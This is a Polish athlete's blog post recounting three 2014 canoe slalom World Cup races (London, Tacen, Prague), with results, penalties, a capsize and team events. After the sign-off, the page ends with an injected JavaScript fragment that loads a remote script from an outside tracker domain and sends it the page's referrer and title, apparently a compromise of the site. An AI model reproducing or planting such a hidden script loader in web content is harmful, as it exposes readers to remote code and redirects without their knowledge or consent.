Trzy razy Puchar Świata!

4.07.2014 / Mateusz Polaczyk / Kajakarstwo

 

Po Mistrzostwach Europy nadszedł czas na pierwszą część cyklu Pucharów Świata. Trzy tygodnie ścigania z najlepszymi zawodnikami na świecie to zawsze ogromne emocje i wyzwanie zarówno logistyczne na PZKAJ jak fizyczne dla samego organizmu. Wliczając w to ME w Wiedniu wyjdzie nam 5 tygodni na walizkach, 4 starty. Jako że przed zawodami możliwości treningowe na torze zawsze są ograniczone (godzina dziennie do dyspozycji na torze, reszta zajęć specjalistycznych na płaskiej wodzie) byłem bardzo ciekaw jak mój organizm będzie zachowywał się pod koniec całego cyklu, ale o tym pod koniec. Teraz wracamy do ścigania.

LONDYNlondyn 2012

Pierwszy PŚ odbywał się w Londynie na olimpijskim torze w Lee Velley White Water Center, Obiekt dobrze mi znany z 2012r w końcu spędziłem tam większość sezonu przygotowując się do Igrzysk Olimpijskich. Miałem też coś do udowodnienia po 4miejscu na IO, jednocześnie już dziś wiemy że za rok to właśnie w Londynie będziemy się ścigać o tytuł Mistrza Świata oraz pierwszą kwalifikację Olimpijską RIO 2016. Pomimo tego że konfiguracja toru została mocno zmieniona ( na bardziej techniczną), zwłaszcza pierwsza cześć to nadal był to piekielnie trudny tor. Moim zdaniem najtrudniejszy tor na świecie, jedynie Ateny mogły się z nim równać, te niestety już nie funkcjonują z powodu kryzysu. Cała masa fal i spadków do pokonania w drodze do mety sprawiała że ręce po niecałych 100sek płynięcia są jak z waty. Cóż taki urok tego obiektu. Dodatkową motywacją była rodzinna rywalizacja, pierwszy raz w historii ICF trójka braci rywalizowała w PŚ w jednej konkurencji, Grzegorz, Rafał i ja w K1 MEN. Zgodnie z rozkładem jazdy w piątek rano ruszyły kwalifikację, 64 zawodników w walce o 40 miejsce promowanych awansem do półfinału. Cała nasza trójka popłynęła świetnie, najlepszy okazał się Rafał, 5 lokata, ja 12, Grzegorz 13. Po kwalifikacjach nastąpiła zmiana trasy. Z brzegu wyglądała na bardzo trudną, dodatkowy najcięższe elementy miały zaczynać się dopiero od połowy co wcale nie oznaczało że pierwsza część nie dawała w kość. Można powiedzieć idealna trasa dla „fizoli”. Analiza i wizualizacja trasy załatwiona słowem wszystko dopięte na ostatni guzik więc do boju! Przejazdy półfinałowy wyszedł całkiem uczciwie, brakło zdecydowania na ostatnim elemencie ale najważniejsze że awansowałem do finałowej 10 z …10 wynikiem, uffff!! Jeszcze lepsze było to że miejsce wyżej był Rafał! Dawno nie mieliśmy dwóch kajakarzy w finale. Grzegorz po świetnej pierwszej części popełnił błąd na trawersie do ostatniego podjazdu, dodatkowo 2sek kary za dotknięcie bramki sprawiły że zakończył zmagania na 21 miejscu. Bardzo niemiłym wydarzeniem był wypadek zwycięzcy kwalifikacji Petera Kauzera, któremu wyskoczył bark. Sezon dla niego już się  zakończył ale trzymam kciuki za udany powrót w walce o RIO! Przejazd półfinałowy dał nam sporo informacji o trasie które ciężko wyczuć z brzegu, finały zapowiadały się ciekawie. Wybiła godzina zero i płyniemy … prosty plan poprawić to co nie wyszło najlepiej w poprzednim przejeździe zachowując wszystkie pozytywy:) Pierwsze 10 bramek pokonałem dość nerwowo, 0,5 sek wolniej niż poprzednio ale wszystko nadal do przyjęcia, najcięższe dopiero nadchodzi, kombinacja zmęczenia i ciężkiej trasy weryfikuję jak nikt nasze zdolności. Środkowy odcinek jadę już na plusie, a na ostatnim międzyczasie jestem szybszy o ponad 1,5sek w porównaniu do półfinałowej jazdy. Dwa ostatnie podjazdy zaliczone wzorowo i jazda do mety….wpadam w walce, piję herbatę i powoli, powoli zbliżam się do mety! Zamiast lecieć do mety jak szalony łapię niemal każdą falę i wpadam na metę z niemal identycznym czasem jaki uzyskałem parę godzin wcześniej. Trzeba czekać na przejazdy kolegów i zobaczymy co z tego wyniknie. Rafał po agresywnym przejeździe dostałe 50sek kary na ostatnich bramkach, w moim odczuciu dość kontrowersyjną ale sędziowie ostatecznie nie uznali protestu. Na placu boju pozostało 8 zawodników, tak ja się spodziewałem szybko poprawiono mój wynik, Prindis o 0,17 sek i Nevue o 2,51 (miazga!) Jako że w sporcie nie ma rzeczy nie możliwych czekałem na kolejnych zawodników, a raczej ich rezultaty. Sytuacja robiła się z każdym przejazdem ciekawsza, po kolejnych trzech zawodnikach moje nazwisko nadal widniało na trzeciej lokacie, uległo to zmianie dopiero po przejeździe Aignera (właśnie z Hannes’em przegrałem olimpijski medal) który wskoczył na drugą lokatę. Kolejni zawodnicy nie zdołali mnie wyprzedzić i wszystko wskazywało że ponownie rywalizację w Londynie zakończę na 4 miejscu!! Pogratulowałem medalistą i udałem się do naszego boksu zmienić rzeczy. W drodze zahaczyłem o namiot z wideo-analizą, odebrałem gratulację o chłopaków i ruszyłem do siebie. Do namiotu przyszedł Paweł Sarna ( trener C2 Szczepański- Pochwała) i chrzani coś że dobrze, fart i mogło być lepiej, taki standard. Ja jeszcze w głowie analizuję co schrzaniłem w przejeździe, a Paweł znów swoje:

„Dobrze jest, gratulacje itd”.

Ja, coś w stylu, czwarte miejsce może nie jest złe ale przejazd zawaliłem na dole i co tu dużo mówić liczyłem że się odgryzę po Igrzyskach.

Paweł, to Ty nie wiesz, Hannesowi wskoczyło 2sek kary i wskakujesz na 3m, a on spada na 4. Przecież nie gratulował bym ci w boksie z video 4 miejsca.

Ja, no na pewno, jaja sobie robisz.

Paweł, serio, Jarek (nasz szef) złożył zapytanie do sędziego o jedną z bramek na której uważa że Hannes miał pkt karne i po obejrzeniu wideo sędzia przyznał mu rację.

Ja, weź nie żartuj sobie nawet!

I bez przekonania że to może być prawda poszedłem sprawdzić wyniki, jeszcze dobrze nie opuściłem strefy dla zawodników odbieram gratulację od Schuberta i Doerflera. W tym momencie uwierzyłem że to jednak jest prawda, kto jak kto ale koledzy z Niemiec nie robili by sobie ze mnie żartów. Nie pozostało nic innego jak cieszyć się z kolejnego medalu PŚ!! Późnym popołudniem czekały nas wyścig drużynowy, na starcie 3X Polaczyk, wielka sprawa! Muszę powiedzieć że nie pływaliśmy w tym składzie za często a w takim ułożeniu chyba nigdy, ja jako rozprowadzający, Rafał w środku i Grzegorza na trzeciego. Jako że woda i trasa była wymagająca nie było sensu ruszać szalonym tempem, 85-90% tego co pływamy indywidualnie starczy. Za to mieliśmy trzymać dystans i zjechać na zero, no właśnie mieliśmy… już na 3 bramce wyjechałem za mocno w prawo i chłopaki od razu mnie dogonili, zaczynaliśmy się zjeżdżać co nie wróżyło nic dobrego przed pierwszym podjazdem. W konsekwencji wjechaliśmy w trzech na jedną cofkę, dobrze że Grzegorz odczekał przed kolejnym podjazdem i mogliśmy go pokonać jak należy. Reszta trasy niestety przebiegała w podobny sposób, ja łapałem niemal każdą falę i traciliśmy cenny czas by się nie „pozabijać” na spadkach i podjazdach. Ostatecznie wylądowaliśmy na 5 lokacie z 2 sekundami kary za dotknięcie bramki, czysty przejazd dawał nam brązowy medal. Zwyciężyli gospodarze przed Francją i Hiszpanią.

k1m

Peter o swoim wypadku

 

Tacen

Z Wielkiej Brytanii przenosimy się do Słowenii, gdzie kajaki to jeden z najbardziej popularnych sportów!! Można, można! U nas Justyna Kowalczyk wygrywa Plebiscyt na Najpopularniejszego Sportowca Roku tak tam robi to Peter Kauzer i spółka. Tor to jedna wielka zagadka, pomimo tego że startowałem tam już kilka razy zawsze mnie czymś zaskakuje. Na dzień dobry spory spadek do pokonania, marne 5metrów (dla porównania cały tor w Londynie mam 5,5m), i niesamowicie szybką wodę która zmienia się cały czas. Raz jest fala i można ją wykorzystać innym razem znika i trzeba się siłować z nurtem by utrzymać linię przejazdu.Trasa na kwalifikację nie była może zbyt wymagająca fizycznie za to od strony technicznej było sporo do zrobienia. Dużo ustawiania kajak i ewentualnego wyczekiwania by trafić z wiosłowaniem w idealne miejsce. Kwalifikację zakończyłem na 4 miejscu. Sporego pecha miał Darek Popiela który złamał wiosło w pierwszym przejeździe, na szczęście wytrzymał presję i w drugim przejazdem awansował do półfinału Trasa na półfinał-finał mocniej podkręcona z dość trudnym środkowym odcinkiem na którym woda mocno „chodziła” co sprawia że ciężko jest utrzymać dobrą prędkość. Również sama końcówka dość ciekawa, przejazd po walcu do ostatniego prawego podjazdu i sprint do mety. Gotów- start! Sprint od spadku, pierwszy podjazd i inkasuję 2 sek kary za dotknięcie bramki, nie ma to jak dobry początek, a jak! Na szczęście nie wpłynęło to na koncentrację i dobrą jazdą w pozostałej części toru i  nadal liczyłem się w grze o finał. Do mety pozostały jeszcze cztery bramki w tym wspomniany przejazd przez walec do podjazdu. Wskakuję w walec i czuję że kajak kompletnie nie reaguje na moje pociągnięcia jak by ważył 100 kg zamiast 8 kg!. Gdy tylko poczułem wodę na nogach już wiedziałem co się stało, odpiął mi się fartuch który nie pozwala by woda dostawała się do wewnątrz łodzi. Przejazd stracony, finał odpłynął, pkt do PŚ również, a teraz jeszcze trzeba się martwić by kajak nie poszedł nad dno dzięki „pomocy” ratownika. Ja próbuję podholować go do brzegu a ratownik wpadł na genialny pomysł by spiął się z kajakiem który nabrał wody i odpływa na głębszą wodę, brawo! Dobrze że brat Henryk i Helmut Oblinger w porę nadeszli z ratunkiem bo mogło by się to zakończyć gorzej dla kajaka. Linie mety przeciąłem będąc już poza kajakiem, na wynikach widnieje DNF, 40 miejsce, szkoda. Indywidualnie odpadłem z gry, cała nadzieja że uda się wyjechać z twarzą z Słowenii w zespołach. Ty razem inny skład, ja, Rafał, Darek. Przejazd daleki od naszych oczekiwań, ja z dwoma 2sek kary, ale przyniósł nam ostatecznie trzecie miejsce ,oczywiście tym razem miałem pożyczony sprzęt z normalnym fartuchem:) Podium :Niemcy, Francja, Polska.

U-boat, produkcja Grzegor Hedwig i Rafał Polaczyk.

 

 

Praga

Tor najlepiej mi znany z dotychczasowych. Również lekko przerobiony po ubiegło rocznych MŚ ale nadal była to stara dobra Praga. Na parę dni przed startem PŚ Vavra Hradilek zorganizował pokazowe zawody w centrum miasta, połączenie kajakarstwa i biatlonu. Impreza okazała się wielkim sukcesem, świetna atmosfera, duże emocje i masa kibiców. Swoich sił na kajaku próbowały również gwiazdy czeskiego sportu David Svoboda, Ewa Samkova oraz inni.

Od paru dni dokuczał mi ból bicepsa w lewej ręki, później przyłączył się do niego bark i plan na kwali trzeba było zmienić, jeśli pierwszy przejazd będzie dawał mi awans to drugi przejazd obejrzę z brzegu. Tak też się stało, spłynąłem z 3 czasem i można było sobie darować na dziś, ostatecznie skończyłem na 6 miejscu.

Konstruktor trasu postarał się na półfinał, dwa techniczne przejazdy przez walec i ciężka fizycznie końcówka na której można pogrzebać wszystko. Pierwsza część przejazdu byłą zadowalająca czasowo, międzyczas na czołową szóstkę. Na środkowym odcinku za wcześnie i za mocno wszedłem w obrót, ściąłem linie dojazdu do kolejnej bramki i w konsekwencji nie dojechałem do niej. 50Sek kary i do domu! Najgorszy w tym był brak reakcji z mojej strony, zmieniłem wszystko co planowałem na brzegu i powinienem zastosować plan „B” by przejechać poprawnie układ, moje ruchy się zgadzały niestety położenie dalekie od oczekiwanego. Pozostało uszanować rangę zawodów i dojechać do mety, po drodze kolejne 50 sek kary za zbyt ciasny wjazd w podjazd. Na pocieszenie układ gdzie popełniłem błąd okazał się najcięższy i sporo zawodników w podobny sposób kończyło na nim zawody. W zespołach po całkiem fajnym i technicznym przejeździe wskoczyliśmy na 5 lokatę. Z wszystkich startów w drużynie ten był dla mnie najbardziej udanym, 6sek kary to jednak za dużo by stawać na podium. Wygrali ponownie Niemcy, Włosi, Czesi.

c2

Wspólne zdjęcie z Piotrkiem i Marcinem którzy wywalczyli srebro!!

I jest koszulka TTA.

 

Pożegnaliśmy się z PŚ, wyłowione 2 x brąz, 2 x 5 miejsce i 2 x 40. Fizycznie poza bolącym bicepsem zniosłem wszystko jak należy, nawet pod koniec pomimo rozczarowania w Pradze czułem że nadal jestem mocny i mogę się ścigać kolejny weekend co bardzo cieszy, w przeszłości zdarzało się że fizycznie i psychicznie nie pozostawało ze mnie wiele po takich startach. Fajne doświadczenia zebrane (może poza nurkowaniem w Tacen), sporo udało się podejrzeć innych zawodników i gdzieś próbować tego na własnym podwórku.  Brąz w Londynie zagwarantował mi miejsce w reprezentacji na MŚ i teraz ze spokojną głową można ruszać z robotą. Dwa tygodnie w kraju zleciały szybko, za szybko! W niedzielę ruszamy do Amerykańskiego Deep Creek na pierwszy obóz oficjalnie otwierający przygotowania do wrześniowych Mistrzostwa Świata, nieoficjalnie ruszyły 1 lipca. Przed nami masa ciężkiej pracy, Mistrzostwa Polski w Krakowie, Puchar Świata w Niemczech i wspomniane MŚ.

 

Wszystkie przejazdy oraz wyniki można obejrzeć TUTAJ

 

Pozdrawiam Mate

10386244_649991595089403_1727642730877555799_n

 

 

 

 s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; document.currentScript.parentNode.insertBefore(s, document.currentScript);